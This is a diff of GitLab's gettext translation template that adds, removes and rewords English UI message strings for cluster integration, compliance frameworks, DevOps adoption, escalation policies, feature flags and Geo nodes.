msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
